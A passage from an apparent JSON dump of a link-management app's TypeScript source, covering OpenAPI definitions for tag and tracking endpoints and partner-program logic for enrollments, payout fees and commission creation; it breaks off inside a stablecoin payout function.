    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { getTagsQuerySchema, LinkTagSchema } from \"@/lib/zod/schemas/tags\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const getTags: ZodOpenApiOperationObject = {\n  operationId: \"getTags\",\n  \"x-speakeasy-name-override\": \"list\",\n  summary: \"Retrieve a list of tags\",\n  description: \"Retrieve a list of tags for the authenticated workspace.\",\n  requestParams: {\n    query: getTagsQuerySchema,\n  },\n  responses: {\n    \"200\": {\n      description: \"A list of tags\",\n      content: {\n        \"application/json\": {\n          schema: z.array(LinkTagSchema),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Tags\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/tags/index.ts",
    "content": "import { ZodOpenApiPathsObject } from \"zod-openapi\";\n\nimport { createTag } from \"./create-tag\";\nimport { deleteTag } from \"./delete-tag\";\nimport { getTags } from \"./get-tags\";\nimport { updateTag } from \"./update-tag\";\n\nexport const tagsPaths: ZodOpenApiPathsObject = {\n  \"/tags\": {\n    post: createTag,\n    get: getTags,\n  },\n  \"/tags/{id}\": {\n    patch: updateTag,\n    delete: deleteTag,\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/tags/update-tag.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { LinkTagSchema, updateTagBodySchema } from \"@/lib/zod/schemas/tags\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const updateTag: ZodOpenApiOperationObject = {\n  operationId: \"updateTag\",\n  \"x-speakeasy-name-override\": \"update\",\n  \"x-speakeasy-max-method-params\": 2,\n  summary: \"Update a tag\",\n  description: \"Update a tag in the workspace.\",\n  requestParams: {\n    path: z.object({\n      id: z.string().describe(\"The ID of the tag to update.\"),\n    }),\n  },\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: updateTagBodySchema,\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"The updated tag.\",\n      content: {\n        \"application/json\": {\n          schema: LinkTagSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Tags\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/track/index.ts",
    "content": "import { ZodOpenApiPathsObject } from \"zod-openapi\";\nimport { trackLead } from \"./lead\";\nimport { trackOpen } from \"./open\";\nimport { trackSale } from \"./sale\";\n\nexport const trackPaths: ZodOpenApiPathsObject = {\n  \"/track/lead\": {\n    post: trackLead,\n  },\n  \"/track/sale\": {\n    post: trackSale,\n  },\n  \"/track/open\": {\n    post: trackOpen,\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/track/lead.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  trackLeadRequestSchema,\n  trackLeadResponseSchema,\n} from \"@/lib/zod/schemas/leads\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const trackLead: ZodOpenApiOperationObject = {\n  operationId: \"trackLead\",\n  \"x-speakeasy-name-override\": \"lead\",\n  summary: \"Track a lead\",\n  description: \"Track a lead for a short link.\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: trackLeadRequestSchema,\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"A lead was tracked.\",\n      content: {\n        \"application/json\": {\n          schema: trackLeadResponseSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Track\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/track/open.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  trackOpenRequestSchema,\n  trackOpenResponseSchema,\n} from \"@/lib/zod/schemas/opens\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const trackOpen: ZodOpenApiOperationObject = {\n  operationId: \"trackOpen\",\n  \"x-speakeasy-ignore\": true,\n  summary: \"Track a deep link open event\",\n  description:\n    \"This endpoint is used to track when a user opens your app via a Dub-powered deep link (for both iOS and Android).\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: trackOpenRequestSchema,\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"The response from the tracked open event.\",\n      content: {\n        \"application/json\": {\n          schema: trackOpenResponseSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Track\"],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/track/sale.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  trackSaleRequestSchema,\n  trackSaleResponseSchema,\n} from \"@/lib/zod/schemas/sales\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const trackSale: ZodOpenApiOperationObject = {\n  operationId: \"trackSale\",\n  \"x-speakeasy-name-override\": \"sale\",\n  summary: \"Track a sale\",\n  description: \"Track a sale for a short link.\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: trackSaleRequestSchema,\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"A sale was tracked.\",\n      content: {\n        \"application/json\": {\n          schema: trackSaleResponseSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Track\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/partners/aggregate-partner-links-stats.ts",
    "content": "import { toCentsNumber } from \"@dub/utils\";\nimport { LinkProps } from \"../types\";\n\nexport function aggregatePartnerLinksStats(\n  links?:\n    | (Pick<LinkProps, \"clicks\" | \"leads\" | \"conversions\" | \"sales\"> & {\n        saleAmount: number | bigint;\n      })[]\n    | null,\n) {\n  if (!links || links.length === 0) {\n    return {\n      totalClicks: 0,\n      totalLeads: 0,\n      totalConversions: 0,\n      totalSales: 0,\n      totalSaleAmount: 0,\n    };\n  }\n\n  return links.reduce(\n    (acc, link) => {\n      acc.totalClicks += link.clicks;\n      acc.totalLeads += link.leads;\n      acc.totalConversions += link.conversions;\n      acc.totalSales += link.sales;\n      acc.totalSaleAmount += toCentsNumber(link.saleAmount);\n      return acc;\n    },\n    {\n      totalClicks: 0,\n      totalLeads: 0,\n      totalConversions: 0,\n      totalSales: 0,\n      totalSaleAmount: 0,\n    },\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/partners/approve-partner-enrollment.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { recordAuditLog } from \"../api/audit-logs/record-audit-log\";\nimport { getGroupOrThrow } from \"../api/groups/get-group-or-throw\";\nimport { triggerWorkflows } from \"../cron/qstash-workflow\";\n\nexport async function approvePartnerEnrollment({\n  programId,\n  partnerId,\n  userId,\n  groupId,\n}: {\n  programId: string;\n  partnerId: string;\n  userId: string;\n  groupId?: string | null;\n}) {\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    include: {\n      rewards: true,\n      discounts: true,\n      workspace: true,\n    },\n  });\n\n  if (!groupId && !program.defaultGroupId) {\n    throw new Error(\"No group ID provided and no default group ID found.\");\n  }\n\n  const group = await getGroupOrThrow({\n    programId,\n    groupId: groupId || program.defaultGroupId,\n  });\n\n  const programEnrollment = await prisma.programEnrollment.update({\n    where: {\n      partnerId_programId: {\n        partnerId,\n        programId,\n      },\n    },\n    data: {\n      status: \"approved\",\n      createdAt: new Date(),\n      groupId: group.id,\n      clickRewardId: group.clickRewardId,\n      leadRewardId: group.leadRewardId,\n      saleRewardId: group.saleRewardId,\n      discountId: group.discountId,\n    },\n    include: {\n      partner: true,\n    },\n  });\n\n  waitUntil(\n    (async () => {\n      const user = await prisma.user.findUniqueOrThrow({\n        where: {\n          id: userId,\n        },\n        select: {\n          id: true,\n          name: true,\n        },\n      });\n\n      const { partner } = programEnrollment;\n\n      await Promise.allSettled([\n        recordAuditLog({\n          workspaceId: program.workspace.id,\n          programId,\n          action: \"partner_application.approved\",\n          description: `Partner application approved for ${partner.id}`,\n          actor: user,\n          targets: [\n            {\n              type: \"partner\",\n              id: partner.id,\n              metadata: partner,\n            },\n          ],\n        }),\n\n        triggerWorkflows({\n          workflowId: \"partner-approved\",\n          body: {\n            programId,\n            partnerId,\n            userId,\n          },\n        }),\n      ]);\n    })(),\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/partners/calculate-payout-fee-with-waiver.ts",
    "content": "export interface PayoutFeeWithWaiverParams {\n  payoutAmount: number;\n  payoutFee: number;\n  payoutFeeWaiverLimit: number;\n  payoutFeeWaiverUsage: number;\n  fastAchFee?: number;\n}\n\n// Calculates payout fee with tiered waiver logic\nexport function calculatePayoutFeeWithWaiver({\n  payoutAmount,\n  payoutFee,\n  payoutFeeWaiverLimit,\n  payoutFeeWaiverUsage,\n  fastAchFee = 0,\n}: PayoutFeeWithWaiverParams) {\n  if (payoutFeeWaiverLimit === 0) {\n    return {\n      fee: Math.round(payoutAmount * payoutFee) + fastAchFee,\n      feeFreeAmount: 0,\n      feeChargedAmount: payoutAmount,\n      feeWaiverRemaining: 0,\n    };\n  }\n\n  // Split the payout amount between free tier (0% fee) and fee charged (normal rate)\n  const feeWaiverRemaining = Math.max(\n    0,\n    payoutFeeWaiverLimit - payoutFeeWaiverUsage,\n  );\n  const feeFreeAmount = Math.min(payoutAmount, feeWaiverRemaining);\n  const feeChargedAmount = payoutAmount - feeFreeAmount;\n\n  return {\n    fee: Math.round(feeChargedAmount * payoutFee) + fastAchFee,\n    feeFreeAmount,\n    feeChargedAmount,\n    feeWaiverRemaining,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/partners/complete-program-applications.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { PlatformType, Prisma } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { createId } from \"../api/create-id\";\nimport { detectAndRecordFraudApplication } from \"../api/fraud/detect-record-fraud-application\";\nimport { notifyPartnerApplication } from \"../api/partners/notify-partner-application\";\nimport { qstash } from \"../cron\";\nimport { buildSocialPlatformLookup } from \"../social-utils\";\nimport { sendWorkspaceWebhook } from \"../webhook/publish\";\nimport { partnerApplicationWebhookSchema } from \"../zod/schemas/program-application\";\nimport { evaluateApplicationRequirements } from \"./evaluate-application-requirements\";\nimport {\n  formatApplicationFormData,\n  formatWebsiteAndSocialsFields,\n} from \"./format-application-form-data\";\n\n/**\n * Completes any outstanding program applications for a user\n * by creating a program enrollment for each\n */\nexport async function completeProgramApplications(userEmail: string) {\n  try {\n    const user = await prisma.user.findUniqueOrThrow({\n      where: { email: userEmail },\n      select: {\n        partners: {\n          select: {\n            partnerId: true,\n            partner: {\n              include: {\n                platforms: true,\n                programs: {\n                  select: {\n                    programId: true,\n                    tenantId: true,\n                    status: true,\n                    groupId: true,\n                  },\n                },\n              },\n            },\n          },\n        },\n      },\n    });\n\n    if (!user.partners.length) {\n      return;\n    }\n\n    const programApplications = await prisma.programApplication.findMany({\n      where: {\n        email: userEmail,\n        enrollment: null,\n        // Exclude any applications for programs the user is already enrolled in\n        programId: {\n          notIn: user.partners\n            .map((p) => p.partner.programs.map((pp) => pp.programId))\n            .flat(),\n        },\n      },\n      include: {\n        program: true,\n        partnerGroup: true,\n      },\n      orderBy: {\n        createdAt: \"desc\",\n      },\n    });\n\n    if (!programApplications.length) {\n      return;\n    }\n\n    // if there are duplicate program applications\n    // pick the latest one for each programId\n    // note: programApplications is already sorted by createdAt desc\n    const seenProgramIds = new Set<string>();\n    const filteredProgramApplications = programApplications.filter(\n      (programApplication) => {\n        if (seenProgramIds.has(programApplication.programId)) {\n          return false;\n        }\n        seenProgramIds.add(programApplication.programId);\n        return true;\n      },\n    );\n\n    const partner = user.partners[0].partner;\n\n    // Program enrollments to create\n    const programEnrollments: Prisma.ProgramEnrollmentCreateManyInput[] =\n      filteredProgramApplications.map((programApplication) => ({\n        id: createId({ prefix: \"pge_\" }),\n        programId: programApplication.programId,\n        partnerId: user.partners[0].partnerId,\n        applicationId: programApplication.id,\n        groupId: programApplication?.partnerGroup?.id,\n        clickRewardId: programApplication?.partnerGroup?.clickRewardId,\n        leadRewardId: programApplication?.partnerGroup?.leadRewardId,\n        saleRewardId: programApplication?.partnerGroup?.saleRewardId,\n        discountId: programApplication?.partnerGroup?.discountId,\n      }));\n\n    await prisma.programEnrollment.createMany({\n      data: programEnrollments,\n      skipDuplicates: true,\n    });\n\n    // Fetch the programs' workspaces\n    const workspaces = await prisma.project.findMany({\n      where: {\n        defaultProgramId: {\n          in: filteredProgramApplications.map((p) => p.programId),\n        },\n      },\n      select: {\n        id: true,\n        defaultProgramId: true,\n        webhookEnabled: true,\n      },\n    });\n\n    // Map workspaces by their defaultProgramId for quick lookup\n    const workspacesByProgramId = new Map(\n      workspaces.map((ws) => [ws.defaultProgramId, ws]),\n    );\n\n    for (const programApplication of filteredProgramApplications) {\n      const application = programApplication;\n      const program = programApplication.program;\n      const group = programApplication.partnerGroup;\n      const programEnrollment = partner.programs.find(\n        (p) => p.programId === programApplication.programId,\n      );\n\n      const socialPlatforms = buildSocialPlatformLookup(partner.platforms);\n\n      const missingSocialFields = {\n        website:\n          application.website && !socialPlatforms.website?.identifier\n            ? application.website\n            : undefined,\n        youtube:\n          application.youtube && !socialPlatforms.youtube?.identifier\n            ? application.youtube\n            : undefined,\n        twitter:\n          application.twitter && !socialPlatforms.twitter?.identifier\n            ? application.twitter\n            : undefined,\n        linkedin:\n          application.linkedin && !socialPlatforms.linkedin?.identifier\n            ? application.linkedin\n            : undefined,\n        instagram:\n          application.instagram && !socialPlatforms.instagram?.identifier\n            ? application.instagram\n            : undefined,\n        tiktok:\n          application.tiktok && !socialPlatforms.tiktok?.identifier\n            ? application.tiktok\n            : undefined,\n      };\n\n      const hasMissingSocialFields = Object.values(missingSocialFields).some(\n        (field) => field !== undefined,\n      );\n\n      const applicationFormData = formatApplicationFormData(application).map(\n        ({ title, value }) => ({\n          label: title,\n          value: value !== \"\" ? value : null,\n        }),\n      );\n\n      const { valid: validApplication } = evaluateApplicationRequirements({\n        applicationRequirements: program.applicationRequirements,\n        context: {\n          country: partner.country,\n          email: partner.email,\n        },\n      });\n\n      await Promise.allSettled([\n        ...(validApplication\n          ? [\n              notifyPartnerApplication({\n                partner,\n                program,\n                group,\n                application,\n              }),\n\n              // Auto-approve the partner if the group has auto-approval enabled\n              group?.autoApprovePartnersEnabledAt\n                ? qstash.publishJSON({\n                    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/partners/auto-approve`,\n                    delay: 5 * 60,\n                    body: {\n                      programId: program.id,\n                      partnerId: partner.id,\n                    },\n                  })\n                : Promise.resolve(null),\n\n              // Send \"partner.application_submitted\" webhook\n              workspacesByProgramId.has(program.id) &&\n                sendWorkspaceWebhook({\n                  workspace: workspacesByProgramId.get(program.id)!,\n                  trigger: \"partner.application_submitted\",\n                  data: partnerApplicationWebhookSchema.parse({\n                    id: application.id,\n                    createdAt: application.createdAt,\n                    partner: {\n                      ...partner,\n                      ...programEnrollment,\n                      id: partner.id,\n                      status: \"pending\",\n                      ...formatWebsiteAndSocialsFields(application),\n                    },\n                    applicationFormData,\n                  }),\n                }),\n            ]\n          : [\n              qstash.publishJSON({\n                url: `${APP_DOMAIN_WITH_NGROK}/api/cron/partners/auto-reject`,\n                delay: 5 * 60, // 5 minutes\n                body: {\n                  programId: program.id,\n                  partnerId: partner.id,\n                },\n              }),\n            ]),\n\n        // if the application has any website or social fields but the partner doesn't have the corresponding one (maybe they forgot to add during onboarding)\n        // update the partner to use the website they applied with\n        hasMissingSocialFields &&\n          prisma.partnerPlatform.createMany({\n            data: Object.entries(missingSocialFields)\n              .filter(([, identifier]) => identifier !== undefined)\n              .map(([platform, identifier]) => ({\n                partnerId: partner.id,\n                type: platform as PlatformType,\n                identifier: identifier as string,\n              })),\n            skipDuplicates: true,\n          }),\n\n        // Detect and record fraud events for the partner when they apply to a program\n        detectAndRecordFraudApplication({\n          context: {\n            program,\n            partner,\n          },\n        }),\n      ]);\n    }\n  } catch (error) {\n    console.error(\"Failed to complete program applications\", error);\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/partners/construct-partner-link.ts",
    "content": "import { getUrlObjFromString } from \"@dub/utils\";\nimport { GroupProps, PartnerProfileLinkProps } from \"../types\";\n\nexport function constructPartnerLink({\n  group,\n  link,\n}: {\n  group?: Pick<GroupProps, \"linkStructure\"> | null;\n  link?: Pick<PartnerProfileLinkProps, \"key\" | \"url\" | \"shortLink\">;\n}) {\n  if (!link) {\n    return \"\";\n  }\n\n  const { linkStructure } = group ?? {};\n\n  const urlObj = link?.url ? getUrlObjFromString(link.url) : null;\n\n  if (linkStructure === \"query\" && urlObj) {\n    return urlObj.hostname\n      ? `https://${urlObj.hostname}?via=${link.key}`\n      : `${link.url}?via=${link.key}`;\n  }\n\n  // if (linkStructure === \"path\" && urlObj) {\n  //   return `https://${urlObj.hostname}/refer/${link.key}`;\n  // }\n\n  return link.shortLink;\n}\n"
  },
  {
    "path": "apps/web/lib/partners/create-partner-commission.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport {\n  Commission,\n  CommissionStatus,\n  CommissionType,\n  Link,\n  Partner,\n  ProgramEnrollment,\n} from \"@dub/prisma/client\";\nimport { currencyFormatter, log, prettyPrint, toCentsNumber } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { differenceInMonths } from \"date-fns\";\nimport { recordAuditLog } from \"../api/audit-logs/record-audit-log\";\nimport { createId } from \"../api/create-id\";\nimport { notifyPartnerCommission } from \"../api/partners/notify-partner-commission\";\nimport { syncTotalCommissions } from \"../api/partners/sync-total-commissions\";\nimport { getProgramEnrollmentOrThrow } from \"../api/programs/get-program-enrollment-or-throw\";\nimport { calculateSaleEarnings } from \"../api/sales/calculate-sale-earnings\";\nimport { executeWorkflows } from \"../api/workflows/execute-workflows\";\nimport { Session } from \"../auth\";\nimport { sendPartnerPostback } from \"../postback/api/send-partner-postback\";\nimport { RewardContext, RewardProps } from \"../types\";\nimport { sendWorkspaceWebhook } from \"../webhook/publish\";\nimport { CommissionWebhookSchema } from \"../zod/schemas/commissions\";\nimport { DEFAULT_PARTNER_GROUP } from \"../zod/schemas/groups\";\nimport { aggregatePartnerLinksStats } from \"./aggregate-partner-links-stats\";\nimport { determinePartnerReward } from \"./determine-partner-reward\";\nimport { getRewardAmount } from \"./get-reward-amount\";\n\nexport type CreatePartnerCommissionProps = {\n  event: CommissionType;\n  partnerId: string;\n  programId: string;\n  linkId?: string;\n  customerId?: string;\n  eventId?: string;\n  invoiceId?: string | null;\n  amount?: number;\n  quantity: number;\n  currency?: string;\n  description?: string | null;\n  createdAt?: Date;\n  user?: Session[\"user\"]; // user who created the manual commission\n  context?: RewardContext;\n  skipWorkflow?: boolean;\n};\n\nconst constructWebhookPartner = (\n  programEnrollment: ProgramEnrollment & { partner: Partner; links: Link[] },\n  {\n    totalCommissions: totalCommissionsParam,\n  }: { totalCommissions?: number } = {},\n) => {\n  const totalCommissions =\n    totalCommissionsParam ?? toCentsNumber(programEnrollment.totalCommissions);\n  return {\n    ...programEnrollment.partner,\n    groupId: programEnrollment.groupId,\n    ...aggregatePartnerLinksStats(programEnrollment.links),\n    totalCommissions,\n  };\n};\n\nexport const createPartnerCommission = async ({\n  event,\n  partnerId,\n  programId,\n  linkId,\n  customerId,\n  eventId,\n  invoiceId,\n  amount = 0,\n  quantity,\n  currency,\n  description,\n  createdAt,\n  user,\n  context,\n  skipWorkflow = false,\n}: CreatePartnerCommissionProps) => {\n  let earnings = 0;\n  let reward: RewardProps | null = null;\n  let status: CommissionStatus = \"pending\";\n\n  const programEnrollment = await getProgramEnrollmentOrThrow({\n    partnerId,\n    programId,\n    include: {\n      links: true,\n      partner: true,\n      partnerGroup: true,\n      ...(event === \"click\" && { clickReward: true }),\n      ...(event === \"lead\" && { leadReward: true }),\n      ...(event === \"sale\" && { saleReward: true }),\n    },\n  });\n\n  let firstCommission: Pick<\n    Commission,\n    \"rewardId\" | \"status\" | \"createdAt\"\n  > | null = null;\n\n  if (event === \"custom\") {\n    earnings = amount;\n    amount = 0;\n  } else {\n    if ([\"lead\", \"sale\"].includes(event) && customerId) {\n      firstCommission = await prisma.commission.findFirst({\n        where: {\n          partnerId,\n          customerId,\n          type: event,\n        },\n        orderBy: {\n          createdAt: \"asc\",\n        },\n        select: {\n          rewardId: true,\n          status: true,\n          createdAt: true,\n        },\n      });\n\n      const subscriptionStartDate =\n        event === \"sale\" ? firstCommission?.createdAt ?? new Date() : undefined;\n\n      const subscriptionDurationMonths = subscriptionStartDate\n        ? differenceInMonths(\n            createdAt ?? new Date(), // account for custom commission creation date\n            subscriptionStartDate,\n          )\n        : 0;\n\n      context = {\n        ...context,\n        customer: {\n          ...context?.customer,\n          subscriptionStartDate,\n          subscriptionDurationMonths,\n        },\n      };\n    }\n\n    reward = determinePartnerReward({\n      event,\n      programEnrollment,\n      context,\n    });\n\n    // if there is no reward, skip commission creation\n    if (!reward) {\n      console.log(\n        `Partner ${partnerId} has no reward for ${event} event, skipping commission creation...`,\n      );\n      return {\n        commission: null,\n        programEnrollment,\n        webhookPartner: constructWebhookPartner(programEnrollment),\n      };\n    }\n\n    // for click events, it's super simple – just multiply the reward amount by the quantity\n    if (event === \"click\") {\n      earnings = getRewardAmount(reward) * quantity;\n\n      // for lead and sale events, we need to check if this partner-customer combination was recorded already (for deduplication)\n      // for sale rewards specifically, we also need to check:\n      // 1. if the partner has reached the max duration for the reward (if applicable)\n      // 2. if the previous commission were marked as fraud or canceled\n    } else {\n      if (firstCommission) {\n        // if first commission is fraud or canceled, skip commission creation\n        if ([\"fraud\", \"canceled\"].includes(firstCommission.status)) {\n          console.log(\n            `Partner ${partnerId} has a first commission that is ${firstCommission.status}, skipping commission creation...`,\n          );\n          return {\n            commission: null,\n            programEnrollment,\n            webhookPartner: constructWebhookPartner(programEnrollment),\n          };\n        }\n\n        // for lead events, we need to check if the partner has already been issued a lead reward for this customer\n        if (event === \"lead\") {\n          console.log(\n            `Partner ${partnerId} has already been issued a lead reward for this customer ${customerId}, skipping commission creation...`,\n          );\n\n          return {\n            commission: null,\n            programEnrollment,\n            webhookPartner: constructWebhookPartner(programEnrollment),\n          };\n\n          // for sale rewards, we need to check if partner's reward was updated and different from the first commission's reward\n          // we need to make sure it wasn't changed from one-time to recurring so we don't create a new commission\n        } else {\n          if (\n            firstCommission.rewardId &&\n            firstCommission.rewardId !== reward.id\n          ) {\n            const originalReward = await prisma.reward.findUnique({\n              where: {\n                id: firstCommission.rewardId,\n              },\n              select: {\n                id: true,\n                maxDuration: true,\n              },\n            });\n\n            if (\n              typeof originalReward?.maxDuration === \"number\" &&\n              originalReward.maxDuration === 0\n            ) {\n              console.log(\n                `Partner ${partnerId} is only eligible for first-sale commissions based on the original reward ${originalReward.id}, skipping commission creation...`,\n              );\n              return {\n                commission: null,\n                programEnrollment,\n                webhookPartner: constructWebhookPartner(programEnrollment),\n              };\n            }\n          }\n\n          // for sale rewards with a max duration, we need to check if the first commission is within the max duration\n          // if it's beyond the max duration, we should not create a new commission\n          if (typeof reward?.maxDuration === \"number\") {\n            // One-time sale reward (maxDuration === 0)\n            if (reward.maxDuration === 0) {\n              console.log(\n                `Partner ${partnerId} is only eligible for first-sale commissions, skipping commission creation...`,\n              );\n\n              return {\n                commission: null,\n                programEnrollment,\n                webhookPartner: constructWebhookPartner(programEnrollment),\n              };\n            }\n\n            // Recurring sale reward (maxDuration > 0)\n            else {\n              const subscriptionDurationMonths = differenceInMonths(\n                createdAt ?? new Date(), // account for custom commission creation date\n                firstCommission.createdAt,\n              );\n\n              if (subscriptionDurationMonths >= reward.maxDuration) {\n                console.log(\n                  `Partner ${partnerId} has reached max duration for ${event} event (subscription duration: ${subscriptionDurationMonths} months, max duration: ${reward.maxDuration} months), skipping commission creation...`,\n                );\n\n                return {\n                  commission: null,\n                  programEnrollment,\n                  webhookPartner: constructWebhookPartner(programEnrollment),\n                };\n              }\n            }\n          }\n        }\n      }\n\n      // for lead events, we just multiply the reward amount by the quantity\n      if (event === \"lead\") {\n        earnings = getRewardAmount(reward) * quantity;\n        // for sale events, we need to calculate the earnings based on the sale amount\n      } else {\n        earnings = calculateSaleEarnings({\n          reward,\n          sale: { quantity, amount },\n        });\n      }\n    }\n  }\n\n  try {\n    const commission = await prisma.commission.create({\n      data: {\n        id: createId({ prefix: \"cm_\" }),\n        programId,\n        partnerId,\n        rewardId: reward?.id,\n        customerId,\n        linkId,\n        eventId: eventId || null, // empty string should convert to null\n        invoiceId: invoiceId || null, // empty string should convert to null\n        userId: user?.id,\n        quantity,\n        amount,\n        type: event,\n        currency,\n        earnings,\n        status,\n        description,\n        createdAt,\n      },\n      include: {\n        customer: true,\n        link: {\n          select: {\n            id: true,\n            shortLink: true,\n            domain: true,\n            key: true,\n          },\n        },\n      },\n    });\n\n    console.log(\n      `Created a ${event} commission ${commission.id} (${currencyFormatter(commission.earnings, { currency: commission.currency })}) for ${partnerId}: ${prettyPrint(commission)}`,\n    );\n\n    const webhookPartner = constructWebhookPartner(programEnrollment, {\n      // check links metrics\n      totalCommissions:\n        toCentsNumber(programEnrollment.totalCommissions) + commission.earnings,\n    });\n\n    waitUntil(\n      (async () => {\n        const program = await prisma.program.findUniqueOrThrow({\n          where: {\n            id: programId,\n          },\n          select: {\n            id: true,\n            name: true,\n            slug: true,\n            logo: true,\n            supportEmail: true,\n            workspace: {\n              select: {\n                id: true,\n                slug: true,\n                name: true,\n                webhookEnabled: true,\n              },\n            },\n            // if no partner group is found, need to fetch default group to fallback to\n            ...(!programEnrollment.partnerGroup && {\n              groups: {\n                select: {\n                  holdingPeriodDays: true,\n                },\n                where: {\n                  slug: DEFAULT_PARTNER_GROUP.slug,\n                },\n              },\n            }),\n          },\n        });\n\n        const { workspace } = program;\n        const isClawback = earnings < 0;\n        const shouldTriggerWorkflow = !isClawback && !skipWorkflow;\n\n        await Promise.allSettled([\n          sendWorkspaceWebhook({\n            workspace,\n            trigger: \"commission.created\",\n            data: CommissionWebhookSchema.parse({\n              ...commission,\n              partner: webhookPartner,\n            }),\n          }),\n\n          sendPartnerPostback({\n            partnerId,\n            event: \"commission.created\",\n            data: {\n              ...commission,\n              customer: commission.customer,\n            },\n          }),\n\n          syncTotalCommissions({\n            partnerId,\n            programId,\n          }),\n\n          !isClawback &&\n            notifyPartnerCommission({\n              program,\n              // fallback to default group if no partner group is found\n              group: programEnrollment.partnerGroup ?? program.groups[0],\n              workspace,\n              commission,\n              isFirstCommission: firstCommission === null,\n            }),\n\n          // We only capture audit logs for manual commissions\n          user &&\n            recordAuditLog({\n              workspaceId: workspace.id,\n              programId,\n              action: isClawback ? \"clawback.created\" : \"commission.created\",\n              description: isClawback\n                ? `Clawback created for ${partnerId}`\n                : `Commission created for ${partnerId}`,\n              actor: user,\n              targets: [\n                {\n                  type: isClawback ? \"clawback\" : \"commission\",\n                  id: commission.id,\n                  metadata: commission,\n                },\n              ],\n            }),\n\n          shouldTriggerWorkflow &&\n            executeWorkflows({\n              trigger: \"partnerMetricsUpdated\",\n              reason: \"commission\",\n              identity: {\n                workspaceId: workspace.id,\n                programId,\n                partnerId,\n              },\n              metrics: {\n                current: {\n                  commissions: commission.earnings,\n                },\n              },\n            }),\n        ]);\n      })(),\n    );\n\n    return {\n      commission,\n      programEnrollment,\n      webhookPartner,\n    };\n  } catch (error) {\n    console.error(\"Error creating commission\", error);\n\n    await log({\n      message: `Error creating commission - ${error.message}`,\n      type: \"errors\",\n      mention: true,\n    });\n\n    return {\n      commission: null,\n      programEnrollment,\n      webhookPartner: constructWebhookPartner(programEnrollment),\n    };\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/partners/create-stablecoin-payout.ts",
    "content": "import { sendEmail } from \"@dub/email\";\nimport PartnerPayoutForceWithdrawal from \"@dub/email/templates/partner-payout-force-withdrawal\";\nimport PartnerPayoutProcessed from \"@dub/email/templates/partner-payout-processed\";\nimport { prisma } from \"@dub/prisma\";\nimport { PartnerPayoutMethod, Prisma } from \"@dub/prisma/client\";\nimport { currencyFormatter, prettyPrint } from \"@dub/utils\";\nimport {\n  BELOW_MIN_WITHDRAWAL_FEE_CENTS,\n  MIN_FORCE_WITHDRAWAL_AMOUNT_CENTS,\n  MIN_WITHDRAWAL_AMOUNT_CENTS,\n  STABLECOIN_PAYOUT_FEE_RATE,\n} from \"../constants/payouts\";\nimport { createPayoutsIdempotencyKey } from \"../payouts/create-payouts-idempotency-key\";\nimport { markPayoutsAsProcessed } from \"../payouts/mark-payouts-as-processed\";\nimport { createStripeOutboundPayment } from \"../stripe/create-stripe-outbound-payment\";\nimport { fundFinancialAccount } from \"../stripe/fund-financial-account\";\nimport { getStripeRecipientAccount } from \"../stripe/get-stripe-recipient-account\";\n\ninterface CreateStablecoinPayoutParams {\n  partnerId: string;\n  invoiceId?: string;\n  forceWithdrawal?: boolean;\n}\n\nexport const createStablecoinPayout = async ({\n  partnerId,\n  invoiceId,\n  forceWithdrawal = false,\n}: CreateStablecoinPayoutParams) => {\n  const partner = await prisma.partner.findUniqueOrThrow({\n    where: {\n      id: partnerId,\n    },\n    select: {\n      id: true,\n      email: true,\n      stripeRecipientId: true,\n      payoutsEnabledAt: true,\n    },\n  });\n\n  if (!partner.payoutsEnabledAt) {\n    console.warn(`Partner ${partner.email} does not have payouts enabled.`);\n    return;\n  }\n\n  if (!partner.stripeRecipientId) {\n    console.warn(\n      `Partner ${partner.email} does not have a stripeRecipientId set.`,\n    );\n    